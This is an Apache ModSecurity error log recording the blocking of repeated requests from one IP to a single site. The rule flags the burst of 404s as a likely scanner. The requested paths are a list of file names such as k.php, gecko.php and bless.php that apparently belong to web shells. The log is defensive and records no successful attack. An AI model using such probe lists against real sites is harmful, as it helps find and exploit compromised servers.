[Sun Dec 14 04:21:03.726977 2025] [:error] [pid 60199:tid 60272] [client 20.89.218.172:24731] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we2.php"] [unique_id "aT3Kr-nD9997ZntNVgPjogAAAII"]
[Sun Dec 14 04:21:04.103349 2025] [:error] [pid 60303:tid 60326] [client 20.89.218.172:24805] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we2.php"] [unique_id "aT3KsImEa7gFJNaM32W3AwAAANU"]
[Sun Dec 14 04:21:04.742191 2025] [:error] [pid 60303:tid 60308] [client 20.89.218.172:24733] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we2.php"] [unique_id "aT3KsImEa7gFJNaM32W3BAAAAMM"]
[Sun Dec 14 04:21:20.247777 2025] [:error] [pid 39523:tid 39533] [client 20.89.218.172:24778] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aT3KwDQTQH1raAj2lkgRgQAAAAU"]
[Sun Dec 14 04:21:20.597596 2025] [:error] [pid 39524:tid 39556] [client 20.89.218.172:24812] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aT3KwGrVGpbDzFtDE9P2LAAAAEA"]
[Sun Dec 14 04:21:20.948978 2025] [:error] [pid 39524:tid 39557] [client 20.89.218.172:13291] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aT3KwGrVGpbDzFtDE9P2LQAAAEE"]
[Sun Dec 14 04:21:21.340332 2025] [:error] [pid 39524:tid 39559] [client 20.89.218.172:24816] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aT3KwWrVGpbDzFtDE9P2LwAAAEM"]
[Sun Dec 14 04:21:21.680567 2025] [:error] [pid 39524:tid 39561] [client 20.89.218.172:24720] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pn.php"] [unique_id "aT3KwWrVGpbDzFtDE9P2MAAAAEU"]
[Sun Dec 14 04:21:21.980764 2025] [:error] [pid 39524:tid 39562] [client 20.89.218.172:24717] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pn.php"] [unique_id "aT3KwWrVGpbDzFtDE9P2MgAAAEY"]
[Sun Dec 14 04:21:22.433734 2025] [:error] [pid 39524:tid 39565] [client 20.89.218.172:24798] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pn.php"] [unique_id "aT3KwmrVGpbDzFtDE9P2NAAAAEk"]
[Sun Dec 14 04:21:22.967703 2025] [:error] [pid 39525:tid 39585] [client 20.89.218.172:24768] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pn.php"] [unique_id "aT3Kwk1fX_pB_BrvE_5dkAAAAII"]
[Sun Dec 14 04:21:23.349628 2025] [:error] [pid 39524:tid 39568] [client 20.89.218.172:24722] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gecko.php"] [unique_id "aT3Kw2rVGpbDzFtDE9P2NwAAAEw"]
[Sun Dec 14 04:21:23.704633 2025] [:error] [pid 39524:tid 39569] [client 20.89.218.172:24714] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gecko.php"] [unique_id "aT3Kw2rVGpbDzFtDE9P2OQAAAE0"]
[Sun Dec 14 04:21:23.962965 2025] [:error] [pid 39524:tid 39572] [client 20.89.218.172:24783] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gecko.php"] [unique_id "aT3Kw2rVGpbDzFtDE9P2OwAAAFA"]
[Sun Dec 14 04:21:24.504769 2025] [:error] [pid 39523:tid 39535] [client 20.89.218.172:24786] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gecko.php"] [unique_id "aT3KxDQTQH1raAj2lkgRkQAAAAc"]
[Sun Dec 14 04:21:25.186462 2025] [:error] [pid 39524:tid 39580] [client 20.89.218.172:13261] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abe.php"] [unique_id "aT3KxWrVGpbDzFtDE9P2QQAAAFg"]
[Sun Dec 14 04:21:25.596152 2025] [:error] [pid 39524:tid 39559] [client 20.89.218.172:24706] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abe.php"] [unique_id "aT3KxWrVGpbDzFtDE9P2QwAAAEM"]
[Sun Dec 14 04:21:25.955077 2025] [:error] [pid 39525:tid 39602] [client 20.89.218.172:24830] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abe.php"] [unique_id "aT3KxU1fX_pB_BrvE_5dnQAAAJM"]
[Sun Dec 14 04:21:26.314035 2025] [:error] [pid 39525:tid 39604] [client 20.89.218.172:13295] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abe.php"] [unique_id "aT3Kxk1fX_pB_BrvE_5dnwAAAJU"]
[Sun Dec 14 04:21:26.864895 2025] [:error] [pid 39614:tid 39620] [client 20.89.218.172:13308] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aT3KxvxybG8-9MflbDdt9QAAAMQ"]
[Sun Dec 14 04:21:27.321119 2025] [:error] [pid 39525:tid 39586] [client 20.89.218.172:24781] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aT3Kx01fX_pB_BrvE_5dowAAAIM"]
[Sun Dec 14 04:21:28.011852 2025] [:error] [pid 39525:tid 39590] [client 20.89.218.172:24811] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aT3KyE1fX_pB_BrvE_5dpgAAAIc"]
[Sun Dec 14 04:21:28.397666 2025] [:error] [pid 39525:tid 39592] [client 20.89.218.172:24775] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aT3KyE1fX_pB_BrvE_5dpwAAAIk"]
[Sun Dec 14 04:21:28.687136 2025] [:error] [pid 39523:tid 39532] [client 20.89.218.172:24709] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc.php"] [unique_id "aT3KyDQTQH1raAj2lkgRtAAAAAQ"]
[Sun Dec 14 04:21:28.956035 2025] [:error] [pid 39614:tid 39624] [client 20.89.218.172:24759] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc.php"] [unique_id "aT3KyPxybG8-9MflbDdt9gAAAMg"]
[Sun Dec 14 04:21:29.207243 2025] [:error] [pid 39523:tid 39529] [client 20.89.218.172:24707] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc.php"] [unique_id "aT3KyTQTQH1raAj2lkgRtQAAAAE"]
[Sun Dec 14 04:21:29.640287 2025] [:error] [pid 39523:tid 39538] [client 20.89.218.172:13248] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc.php"] [unique_id "aT3KyTQTQH1raAj2lkgRtgAAAAo"]
[Sun Dec 14 04:21:29.932289 2025] [:error] [pid 39523:tid 39552] [client 20.89.218.172:24822] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aT3KyTQTQH1raAj2lkgRuAAAABg"]
[Sun Dec 14 04:21:30.262033 2025] [:error] [pid 39524:tid 39571] [client 20.89.218.172:24712] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aT3KymrVGpbDzFtDE9P2RQAAAE8"]
[Sun Dec 14 04:21:30.736682 2025] [:error] [pid 39614:tid 39628] [client 20.89.218.172:24737] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aT3KyvxybG8-9MflbDdt-AAAAMw"]
[Sun Dec 14 04:21:31.052507 2025] [:error] [pid 39525:tid 39602] [client 20.89.218.172:24711] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aT3Ky01fX_pB_BrvE_5dqwAAAJM"]
[Sun Dec 14 04:21:31.331505 2025] [:error] [pid 39614:tid 39629] [client 20.89.218.172:24751] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cloud.php"] [unique_id "aT3Ky_xybG8-9MflbDdt-QAAAM0"]
[Sun Dec 14 04:21:31.694755 2025] [:error] [pid 39614:tid 39631] [client 20.89.218.172:24744] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cloud.php"] [unique_id "aT3Ky_xybG8-9MflbDdt-gAAAM8"]
[Sun Dec 14 04:21:32.019338 2025] [:error] [pid 39523:tid 39548] [client 20.89.218.172:13270] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cloud.php"] [unique_id "aT3KzDQTQH1raAj2lkgRuQAAABQ"]
[Sun Dec 14 04:21:32.332170 2025] [:error] [pid 39523:tid 39544] [client 20.89.218.172:13275] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cloud.php"] [unique_id "aT3KzDQTQH1raAj2lkgRugAAABA"]
[Sun Dec 14 04:21:32.685121 2025] [:error] [pid 39524:tid 39577] [client 20.89.218.172:24734] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aT3KzGrVGpbDzFtDE9P2SQAAAFU"]
[Sun Dec 14 04:21:33.012680 2025] [:error] [pid 39524:tid 39580] [client 20.89.218.172:13264] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aT3KzWrVGpbDzFtDE9P2TQAAAFg"]
[Sun Dec 14 04:21:33.334041 2025] [:error] [pid 39524:tid 39557] [client 20.89.218.172:24823] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aT3KzWrVGpbDzFtDE9P2UAAAAEE"]
[Sun Dec 14 04:21:33.684019 2025] [:error] [pid 39524:tid 39561] [client 20.89.218.172:24724] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aT3KzWrVGpbDzFtDE9P2VAAAAEU"]
[Sun Dec 14 04:21:34.042443 2025] [:error] [pid 39614:tid 39639] [client 20.89.218.172:24788] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aT3KzvxybG8-9MflbDduAAAAANc"]
[Sun Dec 14 04:21:34.511910 2025] [:error] [pid 39614:tid 39621] [client 20.89.218.172:24821] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aT3KzvxybG8-9MflbDduBAAAAMU"]
[Sun Dec 14 04:21:34.838017 2025] [:error] [pid 39525:tid 39594] [client 20.89.218.172:24770] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aT3Kzk1fX_pB_BrvE_5dswAAAIs"]
[Sun Dec 14 04:21:35.235540 2025] [:error] [pid 39525:tid 39595] [client 20.89.218.172:24779] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aT3Kz01fX_pB_BrvE_5dtAAAAIw"]
[Sun Dec 14 04:21:35.675830 2025] [:error] [pid 39614:tid 39625] [client 20.89.218.172:24754] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aT3Kz_xybG8-9MflbDduCAAAAMk"]
[Sun Dec 14 04:21:36.148902 2025] [:error] [pid 39614:tid 39628] [client 20.89.218.172:13283] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aT3K0PxybG8-9MflbDduCwAAAMw"]
[Sun Dec 14 04:21:36.909420 2025] [:error] [pid 39525:tid 39598] [client 20.89.218.172:24742] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aT3K0E1fX_pB_BrvE_5dtgAAAI8"]
[Sun Dec 14 04:21:37.204476 2025] [:error] [pid 39614:tid 39630] [client 20.89.218.172:24746] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aT3K0fxybG8-9MflbDduDQAAAM4"]
[Sun Dec 14 04:21:37.578304 2025] [:error] [pid 39525:tid 39603] [client 20.89.218.172:24774] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bak.php"] [unique_id "aT3K0U1fX_pB_BrvE_5duAAAAJQ"]
[Sun Dec 14 04:21:37.915503 2025] [:error] [pid 39614:tid 39633] [client 20.89.218.172:13279] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bak.php"] [unique_id "aT3K0fxybG8-9MflbDduEAAAANE"]
[Sun Dec 14 04:21:38.371926 2025] [:error] [pid 39614:tid 39640] [client 20.89.218.172:13257] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bak.php"] [unique_id "aT3K0vxybG8-9MflbDduEwAAANg"]
[Sun Dec 14 04:21:38.774149 2025] [:error] [pid 39525:tid 39584] [client 20.89.218.172:24705] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bak.php"] [unique_id "aT3K0k1fX_pB_BrvE_5dvAAAAIE"]
[Sun Dec 14 04:21:39.155345 2025] [:error] [pid 39525:tid 39588] [client 20.89.218.172:24764] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aT3K001fX_pB_BrvE_5dvwAAAIU"]
[Sun Dec 14 04:21:39.439303 2025] [:error] [pid 39525:tid 39585] [client 20.89.218.172:24739] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aT3K001fX_pB_BrvE_5dwgAAAII"]
[Sun Dec 14 04:21:39.838472 2025] [:error] [pid 39525:tid 39604] [client 20.89.218.172:24817] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aT3K001fX_pB_BrvE_5dxQAAAJU"]
[Sun Dec 14 04:21:40.226696 2025] [:error] [pid 39525:tid 39590] [client 20.89.218.172:24747] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aT3K1E1fX_pB_BrvE_5d0AAAAIc"]
[Sun Dec 14 04:21:40.728999 2025] [:error] [pid 39614:tid 39627] [client 20.89.218.172:24804] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aT3K1PxybG8-9MflbDduGwAAAMs"]
[Sun Dec 14 04:21:41.094448 2025] [:error] [pid 39614:tid 39629] [client 20.89.218.172:24829] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aT3K1fxybG8-9MflbDduHQAAAM0"]
